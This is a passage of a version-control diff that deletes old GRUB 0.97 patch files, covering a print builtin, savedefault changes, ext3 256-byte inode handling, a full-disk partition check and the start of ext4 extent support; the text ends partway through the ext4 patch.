-2005-16-10  Samuel Thibault  <samuel.thibault@ens-lyon.org>
-
-       * docs/grub.texi: Added print command description.
-       * stage2/builtins.c(print_func): New function.
-       (builtin_print): New variable.
-       (builtin_table): Added builtin_print in table.
-
-Debian Status Following:
-   Added by: Otavio Salvador
-       Date: 2006-01-05
-
-diff -Nur grub-0.97-bkp/stage2/builtins.c grub-0.97/stage2/builtins.c
---- grub-0.97-bkp/stage2/builtins.c	2006-01-05 10:59:05.550350040 -0200
-+++ grub-0.97/stage2/builtins.c	2006-01-05 11:19:28.422445224 -0200
-@@ -2323,6 +2323,25 @@
-   "Probe I/O ports used for the drive DRIVE."
- };
- 
-+/* print */
-+static int
-+print_func (char *arg, int flags)
-+{
-+  printf("%s\n", arg);
-+
-+  return 0;
-+}
-+
-+static struct builtin builtin_print =
-+{
-+  "print",
-+  print_func,
-+  BUILTIN_CMDLINE | BUILTIN_MENU | BUILTIN_NO_ECHO,
-+  "print [MESSAGE ...]",
-+  "Print MESSAGE."
-+};
-+
-+
- 
- /* kernel */
- static int
-@@ -4848,6 +4867,7 @@
-   &builtin_parttype,
-   &builtin_password,
-   &builtin_pause,
-+  &builtin_print,
- #ifdef GRUB_UTIL
-   &builtin_quit,
- #endif /* GRUB_UTIL */
diff --git a/stubdom/grub.patches/30savedefault.diff b/stubdom/grub.patches/30savedefault.diff
deleted file mode 100644
index 2902b876ec..0000000000
--- a/stubdom/grub.patches/30savedefault.diff
+++ /dev/null
@@ -1,186 +0,0 @@
-Index: grub/stage2/builtins.c
-===================================================================
---- grub.orig/stage2/builtins.c	2008-06-02 18:06:08.942580000 +0100
-+++ grub/stage2/builtins.c	2008-06-06 18:35:07.548390000 +0100
-@@ -86,6 +86,10 @@
-    inside other functions.  */
- static int configfile_func (char *arg, int flags);
- 
-+static int savedefault_helper (char *arg, int flags);
-+
-+static int savedefault_shell (char *arg, int flags);
-+
- /* Initialize the data for builtins.  */
- void
- init_builtins (void)
-@@ -3512,7 +3516,109 @@
- static int
- savedefault_func (char *arg, int flags)
- {
--#if !defined(SUPPORT_DISKLESS) && !defined(GRUB_UTIL)
-+#if !defined(SUPPORT_DISKLESS)
-+  #if !defined(GRUB_UTIL)
-+	return savedefault_helper(arg, flags);
-+  #else
-+	return savedefault_shell(arg, flags);
-+  #endif
-+#else /* !SUPPORT_DISKLESS */ 
-+  errnum = ERR_UNRECOGNIZED;
-+  return 1;
-+#endif /* !SUPPORT_DISKLESS */
-+}
-+
-+#if !defined(SUPPORT_DISKLESS) && defined(GRUB_UTIL)
-+/* savedefault_shell */
-+static int
-+savedefault_shell(char *arg, int flags)
-+ {
-+  int once_only = 0;
-+  int new_default;
-+  int curr_default = -1;
-+  int curr_prev_default = -1;
-+  int new_prev_default = -1;
-+  FILE *fp;
-+  size_t bytes = 10;
-+  char line[bytes];
-+  char *default_file = (char *) DEFAULT_FILE_BUF;
-+  char buf[bytes];
-+  int i;
-+  
-+  while (1)
-+    {
-+      if (grub_memcmp ("--default=", arg, sizeof ("--default=") - 1) == 0)
-+        {
-+          char *p = arg + sizeof ("--default=") - 1;
-+          if (! safe_parse_maxint (&p, &new_default))
-+            return 1;
-+          arg = skip_to (0, arg);
-+        }
-+      else if (grub_memcmp ("--once", arg, sizeof ("--once") - 1) == 0)
-+        {
-+         once_only = 1;
-+         arg = skip_to (0, arg);
-+	}
-+      else
-+        break;
-+    }
-+
-+  *default_file = 0;
-+  grub_strncat (default_file, config_file, DEFAULT_FILE_BUFLEN);
-+  for (i = grub_strlen(default_file); i >= 0; i--)
-+    if (default_file[i] == '/')
-+    {
-+      i++;
-+      break;
-+    }
-+  default_file[i] = 0;
-+  grub_strncat (default_file + i, "default", DEFAULT_FILE_BUFLEN - i);
-+
-+  if(!(fp = fopen(default_file,"r")))
-+    {
-+      errnum = ERR_READ;
-+      goto fail;
-+    }
-+  
-+  fgets(line, bytes, fp);
-+  fclose(fp);
-+ 
-+  sscanf(line, "%d:%d", &curr_prev_default, &curr_default);
-+     
-+  if(curr_default != -1)
-+    new_prev_default = curr_default;
-+  else
-+    {
-+      if(curr_prev_default != -1)
-+        new_prev_default = curr_prev_default;
-+      else
-+        new_prev_default = 0;
-+    }
-+     
-+  if(once_only)
-+    sprintf(buf, "%d:%d", new_prev_default, new_default);
-+  else
-+    sprintf(buf, "%d", new_default);
-+
-+  if(!(fp = fopen(default_file,"w")))
-+    {
-+      errnum = ERR_READ;
-+      goto fail;
-+    }
-+     
-+  fprintf(fp, buf);   
-+     
-+fail:
-+  fclose(fp);
-+  return errnum;
-+}
-+#endif
-+
-+/* savedefault_helper */
-+static int
-+savedefault_helper (char *arg, int flags)
-+{
-+#if !defined(SUPPORT_DISKLESS)
-   unsigned long tmp_drive = saved_drive;
-   unsigned long tmp_partition = saved_partition;
-   char *default_file = (char *) DEFAULT_FILE_BUF;
-@@ -3588,22 +3694,26 @@
-       
-       disk_read_hook = disk_read_savesect_func;
-       len = grub_read (buf, sizeof (buf));
-+      buf[9]='\0';/* Make sure grub_strstr() below terminates */
-       disk_read_hook = 0;
-       grub_close ();
-       
--      if (len != sizeof (buf))
--	{
--	  /* This is too small. Do not modify the file manually, please!  */
--	  errnum = ERR_READ;
--	  goto fail;
--	}
--
-       if (sector_count > 2)
- 	{
- 	  /* Is this possible?! Too fragmented!  */
- 	  errnum = ERR_FSYS_CORRUPT;
- 	  goto fail;
- 	}
-+
-+      char *tmp;
-+      if((tmp = grub_strstr(buf, ":")) != NULL)
-+      {
-+       int f_len = grub_strlen(buf) - grub_strlen(tmp);
-+       char *def;
-+       buf[f_len] = '\0';
-+       def = buf;
-+       safe_parse_maxint (&def, &entryno);
-+      }
-       
-       /* Set up a string to be written.  */
-       grub_memset (buf, '\n', sizeof (buf));
-Index: grub/stage2/stage2.c
-===================================================================
---- grub.orig/stage2/stage2.c	2008-06-02 18:06:08.858579000 +0100
-+++ grub/stage2/stage2.c	2008-06-06 18:04:03.585354000 +0100
-@@ -49,7 +49,8 @@
-     return 0;
- #endif /* GRUB_UTIL */
-   
--  preset_menu_offset = 0;
-+  if (preset_menu_offset)
-+    return 0;
-   return preset_menu != 0;
- }
- 
-@@ -934,7 +935,11 @@
- 	      len = grub_read (buf, sizeof (buf));
- 	      if (len > 0)
- 		{
-+		  char *tmp;
- 		  buf[sizeof (buf) - 1] = 0;
-+		  if((tmp = grub_strstr(p, ":")) != NULL)
-+		    p = tmp + 1;
-+		  
- 		  safe_parse_maxint (&p, &saved_entryno);
- 		}
- 
diff --git a/stubdom/grub.patches/40ext3_256byte_inode.diff b/stubdom/grub.patches/40ext3_256byte_inode.diff
deleted file mode 100644
index 0c40854f94..0000000000
--- a/stubdom/grub.patches/40ext3_256byte_inode.diff
+++ /dev/null
@@ -1,114 +0,0 @@
-
-Patch from Red Hat. See #463236, #463123.
-
-Index: grub/stage2/fsys_ext2fs.c
-===================================================================
---- grub.orig/stage2/fsys_ext2fs.c	2008-05-27 18:47:19.045183000 +0100
-+++ grub/stage2/fsys_ext2fs.c	2008-05-27 19:09:21.293187000 +0100
-@@ -79,7 +79,52 @@
-     __u32 s_rev_level;		/* Revision level */
-     __u16 s_def_resuid;		/* Default uid for reserved blocks */
-     __u16 s_def_resgid;		/* Default gid for reserved blocks */
--    __u32 s_reserved[235];	/* Padding to the end of the block */
-+    /*
-+     * These fields are for EXT2_DYNAMIC_REV superblocks only.
-+     *
-+     * Note: the difference between the compatible feature set and
-+     * the incompatible feature set is that if there is a bit set
-+     * in the incompatible feature set that the kernel doesn't
-+     * know about, it should refuse to mount the filesystem.
-+     *
-+     * e2fsck's requirements are more strict; if it doesn't know
-+     * about a feature in either the compatible or incompatible
-+     * feature set, it must abort and not try to meddle with
-+     * things it doesn't understand...
-+     */
-+    __u32 s_first_ino;		/* First non-reserved inode */
-+    __u16 s_inode_size;		/* size of inode structure */
-+    __u16 s_block_group_nr;	/* block group # of this superblock */
-+    __u32 s_feature_compat;	/* compatible feature set */
-+    __u32 s_feature_incompat;	/* incompatible feature set */
-+    __u32 s_feature_ro_compat;	/* readonly-compatible feature set */
-+    __u8  s_uuid[16];		/* 128-bit uuid for volume */
-+    char  s_volume_name[16];	/* volume name */
-+    char  s_last_mounted[64];	/* directory where last mounted */
-+    __u32 s_algorithm_usage_bitmap; /* For compression */
-+    /*
-+     * Performance hints.  Directory preallocation should only
-+     * happen if the EXT2_FEATURE_COMPAT_DIR_PREALLOC flag is on.
-+     */
-+    __u8  s_prealloc_blocks;	/* Nr of blocks to try to preallocate*/
-+    __u8  s_prealloc_dir_blocks;	/* Nr to preallocate for dirs */
-+    __u16 s_reserved_gdt_blocks;/* Per group table for online growth */
-+    /*
-+     * Journaling support valid if EXT2_FEATURE_COMPAT_HAS_JOURNAL set.
-+     */
-+    __u8 s_journal_uuid[16];	/* uuid of journal superblock */
-+    __u32 s_journal_inum;	/* inode number of journal file */
-+    __u32 s_journal_dev;	/* device number of journal file */
-+    __u32 s_last_orphan;	/* start of list of inodes to delete */
-+    __u32 s_hash_seed[4];	/* HTREE hash seed */
-+    __u8  s_def_hash_version;	/* Default hash version to use */
-+    __u8  s_jnl_backup_type; 	/* Default type of journal backup */
-+    __u16 s_reserved_word_pad;
-+    __u32 s_default_mount_opts;
-+    __u32 s_first_meta_bg;	/* First metablock group */
-+    __u32 s_mkfs_time;		/* When the filesystem was created */
-+    __u32 s_jnl_blocks[17]; 	/* Backup of the journal inode */
-+    __u32 s_reserved[172];	/* Padding to the end of the block */
-   };
- 
- struct ext2_group_desc
-@@ -218,6 +263,9 @@
- #define EXT2_ADDR_PER_BLOCK(s)          (EXT2_BLOCK_SIZE(s) / sizeof (__u32))
- #define EXT2_ADDR_PER_BLOCK_BITS(s)		(log2(EXT2_ADDR_PER_BLOCK(s)))
- 
-+#define EXT2_INODE_SIZE(s)		(SUPERBLOCK->s_inode_size)
-+#define EXT2_INODES_PER_BLOCK(s)	(EXT2_BLOCK_SIZE(s)/EXT2_INODE_SIZE(s))
-+
- /* linux/ext2_fs.h */
- #define EXT2_BLOCK_SIZE_BITS(s)        ((s)->s_log_block_size + 10)
- /* kind of from ext2/super.c */
-@@ -242,7 +290,14 @@
- static __inline__ unsigned long
- ffz (unsigned long word)
- {
--  __asm__ ("bsfl %1,%0"
-+  __asm__ ("bsf"
-+#ifdef __i386__
-+		  "l"
-+#endif
-+#ifdef __x86_64__
-+		  "q"
-+#endif
-+		  " %1,%0"
- :	   "=r" (word)
- :	   "r" (~word));
-   return word;
-@@ -553,7 +608,7 @@
-       gdp = GROUP_DESC;
-       ino_blk = gdp[desc].bg_inode_table +
- 	(((current_ino - 1) % (SUPERBLOCK->s_inodes_per_group))
--	 >> log2 (EXT2_BLOCK_SIZE (SUPERBLOCK) / sizeof (struct ext2_inode)));
-+	 >> log2 (EXT2_INODES_PER_BLOCK (SUPERBLOCK)));
- #ifdef E2DEBUG
-       printf ("inode table fsblock=%d\n", ino_blk);
- #endif /* E2DEBUG */
-@@ -565,13 +620,12 @@
-       /* reset indirect blocks! */
-       mapblock2 = mapblock1 = -1;
- 
--      raw_inode = INODE +
--	((current_ino - 1)
--	 & (EXT2_BLOCK_SIZE (SUPERBLOCK) / sizeof (struct ext2_inode) - 1));
-+      raw_inode = (struct ext2_inode *)((char *)INODE +
-+	((current_ino - 1) & (EXT2_INODES_PER_BLOCK (SUPERBLOCK) - 1)) *
-+	EXT2_INODE_SIZE (SUPERBLOCK));
- #ifdef E2DEBUG
-       printf ("ipb=%d, sizeof(inode)=%d\n",
--	      (EXT2_BLOCK_SIZE (SUPERBLOCK) / sizeof (struct ext2_inode)),
--	      sizeof (struct ext2_inode));
-+	      EXT2_INODES_PER_BLOCK (SUPERBLOCK), EXT2_INODE_SIZE (SUPERBLOCK));
-       printf ("inode=%x, raw_inode=%x\n", INODE, raw_inode);
-       printf ("offset into inode table block=%d\n", (int) raw_inode - (int) INODE);
-       for (i = (unsigned char *) INODE; i <= (unsigned char *) raw_inode;
diff --git a/stubdom/grub.patches/50fs_fulldisk.diff b/stubdom/grub.patches/50fs_fulldisk.diff
deleted file mode 100644
index d0fbb07bc1..0000000000
--- a/stubdom/grub.patches/50fs_fulldisk.diff
+++ /dev/null
@@ -1,72 +0,0 @@
-diff -urN grub-0.97.orig/stage2/fsys_ext2fs.c grub-0.97/stage2/fsys_ext2fs.c
---- grub-0.97.orig/stage2/fsys_ext2fs.c	2004-08-08 18:19:18.000000000 +0000
-+++ grub-0.97/stage2/fsys_ext2fs.c	2008-09-16 19:31:15.000000000 +0000
-@@ -254,7 +254,7 @@
- {
-   int retval = 1;
- 
--  if ((((current_drive & 0x80) || (current_slice != 0))
-+  if ((((current_slice != 0))
-        && (current_slice != PC_SLICE_TYPE_EXT2FS)
-        && (current_slice != PC_SLICE_TYPE_LINUX_RAID)
-        && (! IS_PC_SLICE_TYPE_BSD_WITH_FS (current_slice, FS_EXT2FS))
-diff -urN grub-0.97.orig/stage2/fsys_fat.c grub-0.97/stage2/fsys_fat.c
---- grub-0.97.orig/stage2/fsys_fat.c	2005-03-15 16:52:00.000000000 +0000
-+++ grub-0.97/stage2/fsys_fat.c	2008-09-16 19:31:26.000000000 +0000
-@@ -70,7 +70,7 @@
-   __u32 magic, first_fat;
-   
-   /* Check partition type for harddisk */
--  if (((current_drive & 0x80) || (current_slice != 0))
-+  if (((current_slice != 0))
-       && ! IS_PC_SLICE_TYPE_FAT (current_slice)
-       && (! IS_PC_SLICE_TYPE_BSD_WITH_FS (current_slice, FS_MSDOS)))
-     return 0;
-diff -urN grub-0.97.orig/stage2/fsys_ffs.c grub-0.97/stage2/fsys_ffs.c
---- grub-0.97.orig/stage2/fsys_ffs.c	2003-07-09 11:45:52.000000000 +0000
-+++ grub-0.97/stage2/fsys_ffs.c	2008-09-16 19:31:32.000000000 +0000
-@@ -82,7 +82,7 @@
- {
-   int retval = 1;
- 
--  if ((((current_drive & 0x80) || (current_slice != 0))
-+  if ((((current_slice != 0))
-        && ! IS_PC_SLICE_TYPE_BSD_WITH_FS (current_slice, FS_BSDFFS))
-       || part_length < (SBLOCK + (SBSIZE / DEV_BSIZE))
-       || !devread (SBLOCK, 0, SBSIZE, (char *) SUPERBLOCK)
-diff -urN grub-0.97.orig/stage2/fsys_minix.c grub-0.97/stage2/fsys_minix.c
---- grub-0.97.orig/stage2/fsys_minix.c	2003-07-09 11:45:53.000000000 +0000
-+++ grub-0.97/stage2/fsys_minix.c	2008-09-16 19:32:01.000000000 +0000
-@@ -160,7 +160,7 @@
- int
- minix_mount (void)
- {
--  if (((current_drive & 0x80) || current_slice != 0)
-+  if ((current_slice != 0)
-       && ! IS_PC_SLICE_TYPE_MINIX (current_slice)
-       && ! IS_PC_SLICE_TYPE_BSD_WITH_FS (current_slice, FS_OTHER))
-     return 0;			/* The partition is not of MINIX type */
-diff -urN grub-0.97.orig/stage2/fsys_ufs2.c grub-0.97/stage2/fsys_ufs2.c
---- grub-0.97.orig/stage2/fsys_ufs2.c	2004-06-19 12:17:52.000000000 +0000
-+++ grub-0.97/stage2/fsys_ufs2.c	2008-09-16 19:32:32.000000000 +0000
-@@ -87,7 +87,7 @@
-   sblockloc = -1;
-   type = 0;
-   
--  if (! (((current_drive & 0x80) || (current_slice != 0))
-+  if (! (((current_slice != 0))
- 	 && ! IS_PC_SLICE_TYPE_BSD_WITH_FS (current_slice, FS_BSDFFS)))
-     {
-       for (i = 0; sblock_try[i] != -1; ++i)
-diff -urN grub-0.97.orig/stage2/fsys_vstafs.c grub-0.97/stage2/fsys_vstafs.c
---- grub-0.97.orig/stage2/fsys_vstafs.c	2003-07-09 11:45:53.000000000 +0000
-+++ grub-0.97/stage2/fsys_vstafs.c	2008-09-16 19:32:39.000000000 +0000
-@@ -47,7 +47,7 @@
- {
-   int retval = 1;
-   
--  if( (((current_drive & 0x80) || (current_slice != 0))
-+  if( (((current_slice != 0))
-        && current_slice != PC_SLICE_TYPE_VSTAFS)
-       ||  ! devread (0, 0, BLOCK_SIZE, (char *) FSYS_BUF)
-       ||  FIRST_SECTOR->fs_magic != 0xDEADFACE)
diff --git a/stubdom/grub.patches/60ext4.diff b/stubdom/grub.patches/60ext4.diff
deleted file mode 100644
index c71cfe1c4f..0000000000
--- a/stubdom/grub.patches/60ext4.diff
+++ /dev/null
@@ -1,474 +0,0 @@
-Index: grub-0.97/stage2/fsys_ext2fs.c
-===================================================================
---- grub-0.97.orig/stage2/fsys_ext2fs.c
-+++ grub-0.97/stage2/fsys_ext2fs.c
-@@ -41,6 +41,7 @@ typedef __signed__ short __s16;
- typedef unsigned short __u16;
- typedef __signed__ int __s32;
- typedef unsigned int __u32;
-+typedef unsigned long long __u64;
- 
- /*
-  * Constants relative to the data blocks, from ext2_fs.h
-@@ -51,7 +52,7 @@ typedef unsigned int __u32;
- #define EXT2_TIND_BLOCK                 (EXT2_DIND_BLOCK + 1)
- #define EXT2_N_BLOCKS                   (EXT2_TIND_BLOCK + 1)
- 
--/* include/linux/ext2_fs.h */
-+/* lib/ext2fs/ext2_fs.h from e2fsprogs */
- struct ext2_super_block
-   {
-     __u32 s_inodes_count;	/* Inodes count */
-@@ -61,9 +62,9 @@ struct ext2_super_block
-     __u32 s_free_inodes_count;	/* Free inodes count */
-     __u32 s_first_data_block;	/* First Data Block */
-     __u32 s_log_block_size;	/* Block size */
--    __s32 s_log_frag_size;	/* Fragment size */
-+    __s32 s_obso_log_frag_size;	/* Obsoleted Fragment size */
-     __u32 s_blocks_per_group;	/* # Blocks per group */
--    __u32 s_frags_per_group;	/* # Fragments per group */
-+    __u32 s_obso_frags_per_group;	/* Obsoleted Fragments per group */
-     __u32 s_inodes_per_group;	/* # Inodes per group */
-     __u32 s_mtime;		/* Mount time */
-     __u32 s_wtime;		/* Write time */
-@@ -72,7 +73,7 @@ struct ext2_super_block
-     __u16 s_magic;		/* Magic signature */
-     __u16 s_state;		/* File system state */
-     __u16 s_errors;		/* Behaviour when detecting errors */
--    __u16 s_pad;
-+    __u16 s_minor_rev_level;	/* minor revision level */
-     __u32 s_lastcheck;		/* time of last check */
-     __u32 s_checkinterval;	/* max. time between checks */
-     __u32 s_creator_os;		/* OS */
-@@ -119,15 +120,29 @@ struct ext2_super_block
-     __u32 s_hash_seed[4];	/* HTREE hash seed */
-     __u8  s_def_hash_version;	/* Default hash version to use */
-     __u8  s_jnl_backup_type; 	/* Default type of journal backup */
--    __u16 s_reserved_word_pad;
-+    __u16 s_desc_size;		/* size of group descriptor */
-     __u32 s_default_mount_opts;
-     __u32 s_first_meta_bg;	/* First metablock group */
-     __u32 s_mkfs_time;		/* When the filesystem was created */
-     __u32 s_jnl_blocks[17]; 	/* Backup of the journal inode */
--    __u32 s_reserved[172];	/* Padding to the end of the block */
--  };
-+    /* 64bit desc support valid if EXT4_FEATURE_INCOMPAT_64BIT */
-+    __u32 s_blocks_count_hi;	/* Blocks count */
-+    __u32 s_r_blocks_count_hi;	/* Reserved blocks count */
-+    __u32 s_free_blocks_count_hi; /* Free blocks count */
-+    __u16 s_min_extra_isize;	/* All inodes have at least # bytes */
-+    __u16 s_max_extra_isize;	/* New inodes should reverve # bytes */
-+    __u32 s_flags;		/* Miscellaneous flags */
-+    __u16 s_raid_stride;	/* Raid stride */
-+    __u16 s_mmp_interval;	/* # seconds to wait MMP checking */
-+    __u64 s_mmp_block;		/* Block for multi-mount protection */
-+    __u32 s_raid_stripe_width;	/* Blocks on all data disks (N*stride)*/
-+    __u8  s_log_groups_per_flex;/* FLEX_BG group size*/
-+    __u8  s_reserved_char_pad;
-+    __u16 s_reserved_pad;
-+    __u32 s_reserved[162];	/* Padding to the end of the block */
-+};
- 
--struct ext2_group_desc
-+struct ext4_group_desc
-   {
-     __u32 bg_block_bitmap;	/* Blocks bitmap block */
-     __u32 bg_inode_bitmap;	/* Inodes bitmap block */
-@@ -135,8 +150,18 @@ struct ext2_group_desc
-     __u16 bg_free_blocks_count;	/* Free blocks count */
-     __u16 bg_free_inodes_count;	/* Free inodes count */
-     __u16 bg_used_dirs_count;	/* Directories count */
--    __u16 bg_pad;
--    __u32 bg_reserved[3];
-+    __u16 bg_flags;		/* EXT4_BG_flags (INODE_UNINIT, etc) */
-+    __u32 bg_reserved[2];		/* Likely block/inode bitmap checksum */
-+    __u16 bg_itable_unused;	/* Unused inodes count */
-+    __u16 bg_checksum;		/* crc16(sb_uuid+group+desc) */
-+    __u32 bg_block_bitmap_hi;	/* Blocks bitmap block MSB */
-+    __u32 bg_inode_bitmap_hi;	/* Inodes bitmap block MSB */
-+    __u32 bg_inode_table_hi;	/* Inodes table block MSB */
-+    __u16 bg_free_blocks_count_hi;/* Free blocks count MSB */
-+    __u16 bg_free_inodes_count_hi;/* Free inodes count MSB */
-+    __u16 bg_used_dirs_count_hi;	/* Directories count MSB */
-+    __u16 bg_itable_unused_hi;	/* Unused inodes count MSB */
-+    __u32 bg_reserved2[3];
-   };
- 
- struct ext2_inode
-@@ -174,22 +199,22 @@ struct ext2_inode
-     __u32 i_block[EXT2_N_BLOCKS];	/* 40: Pointers to blocks */
-     __u32 i_version;		/* File version (for NFS) */
-     __u32 i_file_acl;		/* File ACL */
--    __u32 i_dir_acl;		/* Directory ACL */
--    __u32 i_faddr;		/* Fragment address */
-+    __u32 i_size_high;
-+    __u32 i_obso_faddr;		/* Obsoleted fragment address */
-     union
-       {
- 	struct
- 	  {
--	    __u8 l_i_frag;	/* Fragment number */
--	    __u8 l_i_fsize;	/* Fragment size */
--	    __u16 i_pad1;
--	    __u32 l_i_reserved2[2];
-+		__u16	l_i_blocks_high; /* were l_i_reserved1 */
-+		__u16	l_i_file_acl_high;
-+		__u16	l_i_uid_high;	/* these 2 fields */
-+		__u16	l_i_gid_high;	/* were reserved2[0] */
-+		__u32	l_i_reserved2;
- 	  }
- 	linux2;
- 	struct
- 	  {
--	    __u8 h_i_frag;	/* Fragment number */
--	    __u8 h_i_fsize;	/* Fragment size */
-+		__u16	h_i_reserved1;	/* Obsoleted fragment number/size which are removed in ext4 */
- 	    __u16 h_i_mode_high;
- 	    __u16 h_i_uid_high;
- 	    __u16 h_i_gid_high;
-@@ -198,16 +223,36 @@ struct ext2_inode
- 	hurd2;
- 	struct
- 	  {
--	    __u8 m_i_frag;	/* Fragment number */
--	    __u8 m_i_fsize;	/* Fragment size */
--	    __u16 m_pad1;
-+		__u16	h_i_reserved1;	/* Obsoleted fragment number/size which are removed in ext4 */
-+		__u16	m_i_file_acl_high;
- 	    __u32 m_i_reserved2[2];
- 	  }
- 	masix2;
-       }
-     osd2;			/* OS dependent 2 */
-+	__u16	i_extra_isize;
-+	__u16	i_pad1;
-+	__u32  i_ctime_extra;  /* extra Change time      (nsec << 2 | epoch) */
-+	__u32  i_mtime_extra;  /* extra Modification time(nsec << 2 | epoch) */
-+	__u32  i_atime_extra;  /* extra Access time      (nsec << 2 | epoch) */
-+	__u32  i_crtime;       /* File Creation time */
-+	__u32  i_crtime_extra; /* extra FileCreationtime (nsec << 2 | epoch) */
-+	__u32  i_version_hi;	/* high 32 bits for 64-bit version */
-   };
- 
-+#define EXT4_FEATURE_INCOMPAT_EXTENTS		0x0040 /* extents support */
-+#define EXT4_FEATURE_INCOMPAT_64BIT			0x0080 /* grub not supported*/
-+#define EXT4_FEATURE_INCOMPAT_MMP           0x0100
-+#define EXT4_FEATURE_INCOMPAT_FLEX_BG		0x0200
-+
-+#define EXT4_HAS_INCOMPAT_FEATURE(sb,mask)			\
-+	( sb->s_feature_incompat & mask )
-+
-+#define EXT4_EXTENTS_FL		0x00080000 /* Inode uses extents */
-+#define EXT4_HUGE_FILE_FL	0x00040000 /* Set to each huge file */
-+
-+#define EXT4_MIN_DESC_SIZE			32
-+
- /* linux/limits.h */
- #define NAME_MAX         255	/* # chars in a file name */
- 
-@@ -225,6 +270,57 @@ struct ext2_dir_entry
-     char name[EXT2_NAME_LEN];	/* File name */
-   };
- 
-+/* linux/ext4_fs_extents.h */
-+/* This is the extent on-disk structure.
-+ * It's used at the bottom of the tree.
-+ */
-+struct ext4_extent
-+  {
-+	__u32  ee_block;   /* first logical block extent covers */
-+	__u16  ee_len;     /* number of blocks covered by extent */
-+	__u16  ee_start_hi;    /* high 16 bits of physical block */
-+	__u32  ee_start_lo;    /* low 32 bits of physical block */
-+  };
-+
-+/*
-+ * This is index on-disk structure.
-+ * It's used at all the levels except the bottom.
-+ */
-+struct ext4_extent_idx
-+  {
-+    __u32  ei_block;   /* index covers logical blocks from 'block' */
-+    __u32  ei_leaf_lo; /* pointer to the physical block of the next *
-+	                     * level. leaf or next index could be there */
-+    __u16  ei_leaf_hi; /* high 16 bits of physical block */
-+    __u16  ei_unused;
-+  };
-+
-+/*
-+ * Each block (leaves and indexes), even inode-stored has header.
-+ */
-+struct ext4_extent_header
-+  {
-+    __u16  eh_magic;   /* probably will support different formats */
-+    __u16  eh_entries; /* number of valid entries */
-+    __u16  eh_max;     /* capacity of store in entries */
-+    __u16  eh_depth;   /* has tree real underlying blocks? */
-+    __u32  eh_generation;  /* generation of the tree */
-+  };
-+
-+#define EXT4_EXT_MAGIC      (0xf30a)
-+#define EXT_FIRST_EXTENT(__hdr__) \
-+    ((struct ext4_extent *) (((char *) (__hdr__)) +     \
-+                 sizeof(struct ext4_extent_header)))
-+#define EXT_FIRST_INDEX(__hdr__) \
-+    ((struct ext4_extent_idx *) (((char *) (__hdr__)) + \
-+                 sizeof(struct ext4_extent_header)))
-+#define EXT_LAST_EXTENT(__hdr__) \
-+    (EXT_FIRST_EXTENT((__hdr__)) + (__u16)((__hdr__)->eh_entries) - 1)
-+#define EXT_LAST_INDEX(__hdr__) \
-+    (EXT_FIRST_INDEX((__hdr__)) + (__u16)((__hdr__)->eh_entries) - 1)
-+
-+
-+
- /* linux/ext2fs.h */
- /*
-  * EXT2_DIR_PAD defines the directory entries boundaries
-@@ -271,8 +367,17 @@ struct ext2_dir_entry
- /* kind of from ext2/super.c */
- #define EXT2_BLOCK_SIZE(s)	(1 << EXT2_BLOCK_SIZE_BITS(s))
- /* linux/ext2fs.h */
-+/* sizeof(struct ext2_group_desc) is changed in ext4
-+ * in kernel code, ext2/3 uses sizeof(struct ext2_group_desc) to calculate
-+ * number of desc per block, while ext4 uses superblock->s_desc_size in stead
-+ * superblock->s_desc_size is not available in ext2/3
-+ * */
-+#define EXT2_DESC_SIZE(s) \
-+	(EXT4_HAS_INCOMPAT_FEATURE(s,EXT4_FEATURE_INCOMPAT_64BIT)? \
-+	s->s_desc_size : EXT4_MIN_DESC_SIZE)
- #define EXT2_DESC_PER_BLOCK(s) \
--     (EXT2_BLOCK_SIZE(s) / sizeof (struct ext2_group_desc))
-+	(EXT2_BLOCK_SIZE(s) / EXT2_DESC_SIZE(s))
-+
- /* linux/stat.h */
- #define S_IFMT  00170000
- #define S_IFLNK  0120000
-@@ -434,6 +539,122 @@ ext2fs_block_map (int logical_block)
-     [logical_block & (EXT2_ADDR_PER_BLOCK (SUPERBLOCK) - 1)];
- }
- 
-+/* extent binary search index
-+ * find closest index in the current level extent tree
-+ * kind of from ext4_ext_binsearch_idx in ext4/extents.c
-+ */
-+static struct ext4_extent_idx*
-+ext4_ext_binsearch_idx(struct ext4_extent_header* eh, int logical_block)
-+{
-+  struct ext4_extent_idx *r, *l, *m;
-+  l = EXT_FIRST_INDEX(eh) + 1;
-+  r = EXT_LAST_INDEX(eh);
-+  while (l <= r)
-+    {
-+	  m = l + (r - l) / 2;
-+	  if (logical_block < m->ei_block)
-+		  r = m - 1;
-+	  else
-+		  l = m + 1;
-+	}
-+  return (struct ext4_extent_idx*)(l - 1);
-+}
-+
-+/* extent binary search
-+ * find closest extent in the leaf level
-+ * kind of from ext4_ext_binsearch in ext4/extents.c
-+ */
-+static struct ext4_extent*
-+ext4_ext_binsearch(struct ext4_extent_header* eh, int logical_block)
-+{
-+  struct ext4_extent *r, *l, *m;
-+  l = EXT_FIRST_EXTENT(eh) + 1;
-+  r = EXT_LAST_EXTENT(eh);
-+  while (l <= r)
-+    {
-+	  m = l + (r - l) / 2;
-+	  if (logical_block < m->ee_block)
-+		  r = m - 1;
-+	  else
-+		  l = m + 1;
-+	}
-+  return (struct ext4_extent*)(l - 1);
-+}
-+
-+/* Maps extents enabled logical block into physical block via an inode.
-+ * EXT4_HUGE_FILE_FL should be checked before calling this.
-+ */
-+static int
-+ext4fs_block_map (int logical_block)
-+{
-+  struct ext4_extent_header *eh;
-+  struct ext4_extent *ex, *extent;
-+  struct ext4_extent_idx *ei, *index;
-+  int depth;
-+  int i;
-+
-+#ifdef E2DEBUG
-+  unsigned char *i;
-+  for (i = (unsigned char *) INODE;
-+       i < ((unsigned char *) INODE + sizeof (struct ext2_inode));
-+       i++)
-+    {
-+      printf ("%c", "0123456789abcdef"[*i >> 4]);
-+      printf ("%c", "0123456789abcdef"[*i % 16]);
-+      if (!((i + 1 - (unsigned char *) INODE) % 16))
-+	{
-+	  printf ("\n");
-+	}
-+      else
-+	{
-+	  printf (" ");
-+	}
-+    }
-+  printf ("logical block %d\n", logical_block);
-+#endif /* E2DEBUG */
-+  eh = (struct ext4_extent_header*)INODE->i_block;
-+  if (eh->eh_magic != EXT4_EXT_MAGIC)
-+  {
-+          errnum = ERR_FSYS_CORRUPT;
-+          return -1;
-+  }
-+  while((depth = eh->eh_depth) != 0)
-+  	{ /* extent index */
-+	  if (eh->eh_magic != EXT4_EXT_MAGIC)
-+	  {
-+	          errnum = ERR_FSYS_CORRUPT;
-+		  return -1;
-+	  }
-+	  ei = ext4_ext_binsearch_idx(eh, logical_block);
-+	  if (ei->ei_leaf_hi)
-+	{/* 64bit physical block number not supported */
-+	  errnum = ERR_FILELENGTH;
-+	  return -1;
-+	}
